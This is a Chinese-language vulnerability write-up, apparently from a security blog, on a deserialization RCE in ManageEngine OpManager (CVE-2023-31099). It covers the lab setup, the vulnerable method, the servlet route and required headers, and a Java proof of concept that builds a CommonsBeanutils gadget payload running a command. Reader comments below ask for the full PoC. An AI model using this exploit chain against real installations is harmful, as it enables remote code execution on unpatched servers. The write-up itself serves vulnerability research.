Zoho ManageEngine Opmanager 反序列化RCE(CVE-2023-31099)
整理今年的笔记看到这个洞,搜了一下网上好像没公开细节就发出来水一篇。
环境搭建
下载地址: https://archives3.manageengine.com/opmanager/126323/
下载central和probe,安装central之后复制key,再安装probe并指定central地址
调式:修改wrapper.conf
wrapper.java.additional.17=-Xdebug
wrapper.java.additional.18=-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=7007
漏洞分析
对比diff找到关键点
OpManagerDistribution.jar!\com\me\opmanager\extranet\remote\communication\fw\DataObject#getObjectData中反序列化操作替换成ITOMObjectInputStream,通过设置白名单的方式进行修复。
public Object getObjectData() {
if (!this.isDataEncrypted && this.object != null) {
return this.object;
} else {
ByteArrayInputStream bais = null;
ObjectInputStream ois = null;
if (this.data != null) {
try {
byte[] decompressedData = null;
byte[] decompressedData;
if (this.isDataEncrypted) {
decompressedData = EEFrameworkUtil.decryptDataObject(this.data);
decompressedData = NmsUtil.decompress(decompressedData);
} else {
decompressedData = NmsUtil.decompress(this.data);
}
bais = new ByteArrayInputStream(decompressedData);
ois = new ObjectInputStream(bais);
this.object = ois.readObject();
} catch (InvalidClassException var14) {
this.object = this.getUncheckedUIDData(this.data);
} catch (Exception var15) {
var15.printStackTrace();
} finally {
try {
if (ois != null) {
ois.close();
}
if (bais != null) {
bais.close();
}
} catch (Exception var13) {
var13.printStackTrace();
}
}
}
return this.object;
}
}
sink点在该类的data字段,如果该字段可控就能实现RCE。
通过调用该类的setter方法设置this.data字段,然后再调用getObjectData就能触发RCE,但是并未找到。
后面熟悉了下功能后,该类应该是用于probe向central传输消息的,所以应该是传输消息过程反序列化DataObject类之后再调用getObjectData方法,最后触发RCE,根据这个思路找到了可直接发送发序列化数据的source点com.me.opmanager.extranet.remote.communication.fw.fe.RegionalListener,相关代码如下
发现刚好设置了com.me.opmanager.extranet.remote.communication.fw.DataObject的白名单,继续跟进SPPRegionalCommBE的transferDataToNOC方法:
最终某个分支会调用dataObject.getObjectData()方法触发反序列化,需要满足以下条件:
- NotificationType值为24并且DataPriority值为0
- userProps字段种需要存放一个key为regReqID的数据
这些值都来自dataObject类的字段,可控。
poc如下
public class cve_2023_31099 {
public static void main(String[] args) throws Exception {
DataObject obj = new DataObject();
int notificationType = 24;
setField(obj,"notificationType",notificationType);
int dataPriority = 0;
setField(obj,"dataPriority",dataPriority);
Properties userProps = new Properties();
userProps.put("regReqID","qwe");
setField(obj, "userProps",userProps);
Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("CommonsBeanutilsNOCC");
ObjectPayload payload = (ObjectPayload)payloadClass.newInstance();
Object object = payload.getObject("cmd /c echo 1 > c:\\1.txt");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);
oos.flush();
byte[] bytes = baos.toByteArray();
byte[] datas = NmsUtil.compress(bytes);
setField(obj, "data", datas);
obj.getObjectData();
FileOutputStream fos = new FileOutputStream("1.ser");
ObjectOutputStream foos = new ObjectOutputStream(fos);
foos.writeObject(obj);
}
}
根据web.xml定位到路由为/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.RegionalListener,这里无需opmanager-central的Cookie,但是需要提供三个Header头
- authkey: 安装probe时用的key
- regionID: probe名称
- method: 请求方法,这里是POST
师傅你好,文章很干货!不过POC那里我复现过程有些问题,像setField()还有ObjectPayload都不知道找哪个依赖,所以方便把完整版POC分享下 15210796893@163.com 吗?麻烦你了!
师傅好 可以请教一下问题吗